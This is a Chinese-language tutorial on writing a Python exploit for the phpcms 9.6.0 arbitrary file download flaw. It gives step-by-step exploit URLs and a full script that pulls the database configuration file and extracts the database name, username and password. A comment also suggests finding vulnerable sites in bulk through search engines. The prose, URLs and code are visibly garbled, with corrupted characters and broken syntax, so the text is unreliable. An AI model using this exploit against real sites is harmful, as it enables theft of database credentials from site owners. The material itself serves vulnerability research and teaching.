序言
学习编写漏洞利用exp，实在事理很大略，便是仿照人工操作。利用代码将漏洞步骤一步步展现出来，本日我们就来和大家一起学习如何编写你自己的exp
实验工具：firefox，burp，phpcms9.6.0
实验措辞：Python3.4
实验环境：php+mysql+apache
首先我们先来看看本日的phpcms任意文件下载漏洞复现步骤
这里可以建议大家去看下phpcms任意文件下载代码审计的思路流程。然后再来实际复现一遍。
漏洞复现流程便是按照我们下方的每一步链接走下去！
01
第一步
我们先来获取phpcms/modules/wap/index.php中的cookie值
http://127.0.0.1:9096/phpcms0/index.php?m=wap&c=index&a=init&siteid=1
02
第二步
修正标红部分的文件即为自己想要下载的文件，这里标红部分便是你想要下载的内部文件。也便是在第二部布局我们的下载链接。对应的是布局的payload
http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%2%270
03
第三步
访问该链接得到_att_json值
http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%252%2]index.ph... h&f=p%3%252%270C
04
第四步
通过获取到的_att_json值来布局下载payload
05
第五步
通过增加json值认证去访问布局好的下载链接。将get要求中的a_k参数值更换成获取到的_att_json值，并且要求即可。这里后面的标红部分便是获取到的_att_json值
末了点击“点击下载”按钮，即可下载/caches/configs/database.php文件
exp编写
漏洞复现流程走完之后我们就要来按照漏洞复现流程进行编写我们的exp：
#--coding=utf-8 --
#author = Free雅轩
importrequests
#导入requests模块，仿照爬取访问网页
importre
#导入re正则模块，对网页中我们所需的内容进行匹配
fromurllib.parse import quote
#从urllib.parse模块中导入quote方法，用于对通报进来的url进行编码re
TIMEOUT= 3
#设置网页相应超时时间为3秒
url= r'http://127.0.0.1:9096/phpcms9.0'
#定义URL地址
#这里实在是可以利用采集工具/仿照引擎来进行爬取PHPCMS的关键字来进行批量读取/验证操作
payload=r'&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&i=1&d=1&'
#定义漏洞利用payload
cookies= {}
#设置cookie
#步骤一 获取cookie
step1= '{}/index.php?m=wap&c=index&a=init&siteid=1/'.format(url)
print('step1:{}'.format(step1))
#仿照人工操作布局第一个payload
response1_cookies= requests.get(step1 , timeout=3).cookies
#将第一步的url和cookies结合并赋值给response_cookies，设置url相应超时时间为3秒
fori in response1_cookies:
print(i)
if i.name[-7:] == '_siteid':
cookies_head = i.name[:6]
cookies[cookies_head + '_userid' ] = i.value
cookies[i.name] = i.value
print(cookies)
#步骤二 获取_att_json
step2='{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}'.format(url, quote(payload))
print('step2:{}'.format(step2))
response2_cookies= requests.get(step2 , timeout=3 , cookies=cookies).cookies
forj in response2_cookies:
if j.name[-9:] == '_att_json':
enc_payload = j.value
#步骤三 获取布局下载链接
step3= '{}/index.php?m=content&c=down&a_k={}'.format(url,enc_payload)
print('step3:{}'.format(step3))
#步骤四 利用requests模块中的text方法将网页输出，将获取到的链接中的db，username，password等主要信息匹配出来
step4= requests.get(step3 , timeout=3 , cookies=cookies).text
file= re.findall(r'<a href=\"大众(.+?)\"大众',step4)[0]
downfile_url= '{}/index.php{}'.format(url, file)
print(downfile_url)
ret= requests.get(downfile_url).text
print(ret)
re_db= r\公众'database' => '([\S]+)'\"大众
re_username= r\"大众'username' => '([\S]+)'\"大众
re_password= r\"大众'password' => '([\S]+)'\公众
db =re.search(re_db, ret).group(1)
username= re.search(re_username, ret).group(1)
password= re.search(re_password, ret).group(1)
print(db,username, password)
exp利用
（注：本文属于合天原创投稿褒奖，未经许可，禁止转载！
）
